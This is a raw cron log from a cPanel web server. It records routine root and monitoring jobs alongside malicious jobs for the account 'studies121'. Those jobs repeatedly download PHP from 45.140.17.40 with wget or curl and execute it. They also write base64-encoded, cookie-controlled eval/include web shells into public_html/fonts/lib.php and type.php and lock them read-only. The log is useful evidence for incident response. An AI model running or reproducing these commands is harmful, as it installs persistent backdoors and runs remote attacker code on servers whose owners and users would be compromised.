Aug 31 16:06:01 ip-184-168-122-23 CROND[26473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:06:01 ip-184-168-122-23 CROND[26474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:06:01 ip-184-168-122-23 CROND[26475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:06:01 ip-184-168-122-23 CROND[26472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:07:01 ip-184-168-122-23 CROND[26565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:07:01 ip-184-168-122-23 CROND[26567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:07:01 ip-184-168-122-23 CROND[26568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:07:01 ip-184-168-122-23 CROND[26566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:08:01 ip-184-168-122-23 CROND[26662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:08:01 ip-184-168-122-23 CROND[26664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:08:01 ip-184-168-122-23 CROND[26665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:08:01 ip-184-168-122-23 CROND[26666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:08:01 ip-184-168-122-23 CROND[26667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:09:01 ip-184-168-122-23 CROND[26784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:09:01 ip-184-168-122-23 CROND[26786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:09:01 ip-184-168-122-23 CROND[26787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:09:01 ip-184-168-122-23 CROND[26789]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 16:09:01 ip-184-168-122-23 CROND[26788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:10:02 ip-184-168-122-23 CROND[26912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:10:02 ip-184-168-122-23 CROND[26916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:10:02 ip-184-168-122-23 CROND[26917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:10:02 ip-184-168-122-23 CROND[26918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:10:02 ip-184-168-122-23 CROND[26929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:10:02 ip-184-168-122-23 CROND[26923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:10:02 ip-184-168-122-23 CROND[26928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:10:02 ip-184-168-122-23 CROND[26925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:11:01 ip-184-168-122-23 CROND[27029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:11:01 ip-184-168-122-23 CROND[27031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:11:01 ip-184-168-122-23 CROND[27030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:11:01 ip-184-168-122-23 CROND[27032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:12:01 ip-184-168-122-23 CROND[27130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:12:01 ip-184-168-122-23 CROND[27133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:12:01 ip-184-168-122-23 CROND[27134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:12:01 ip-184-168-122-23 CROND[27132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:12:01 ip-184-168-122-23 CROND[27135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:13:01 ip-184-168-122-23 CROND[27236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:13:01 ip-184-168-122-23 CROND[27237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:13:01 ip-184-168-122-23 CROND[27238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:13:01 ip-184-168-122-23 CROND[27239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:14:01 ip-184-168-122-23 CROND[27423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:14:01 ip-184-168-122-23 CROND[27425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:14:01 ip-184-168-122-23 CROND[27426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:14:01 ip-184-168-122-23 CROND[27427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:14:01 ip-184-168-122-23 CROND[27428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:15:01 ip-184-168-122-23 CROND[27518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:15:01 ip-184-168-122-23 CROND[27520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:15:01 ip-184-168-122-23 CROND[27523]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 16:15:01 ip-184-168-122-23 CROND[27525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:15:01 ip-184-168-122-23 CROND[27521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:15:01 ip-184-168-122-23 CROND[27524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:15:01 ip-184-168-122-23 CROND[27522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:16:01 ip-184-168-122-23 CROND[27646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:16:01 ip-184-168-122-23 CROND[27647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:16:01 ip-184-168-122-23 CROND[27650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:16:01 ip-184-168-122-23 CROND[27651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:16:01 ip-184-168-122-23 CROND[27654]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:16:01 ip-184-168-122-23 CROND[27653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:17:01 ip-184-168-122-23 CROND[27756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:17:01 ip-184-168-122-23 CROND[27759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:17:01 ip-184-168-122-23 CROND[27758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:17:01 ip-184-168-122-23 CROND[27757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:18:01 ip-184-168-122-23 CROND[27870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:18:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:18:01 ip-184-168-122-23 CROND[27873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
